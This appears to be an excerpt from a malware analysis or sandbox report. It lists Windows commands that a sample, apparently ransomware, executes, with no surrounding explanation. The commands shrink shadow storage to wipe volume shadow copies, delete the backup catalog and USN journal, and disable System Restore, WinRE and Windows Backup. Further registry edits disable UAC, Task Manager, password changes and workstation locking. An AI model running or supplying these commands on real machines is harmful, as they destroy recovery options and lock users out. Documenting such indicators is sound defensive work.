- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=K:\ /on=K:\ /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
- '<SYSTEM32>\wbadmin.exe' delete catalog -quiet
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
- '<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy IgnoreAllFailures
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
- '<SYSTEM32>\fsutil.exe' usn deletejournal /D C
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=D:\ /on=D:\ /maxsize=401MB
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=<Имя диска съемного носителя>:\ /on=<Имя диска съемного носителя>:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=L:\ /on=L:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRE /v DisableSetup /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=unbounded
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=<Имя диска съемного носителя>:\ /on=<Имя диска съемного носителя>:\ /maxsize=unbounded
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=D:\ /on=D:\ /maxsize=unbounded
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
- '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB
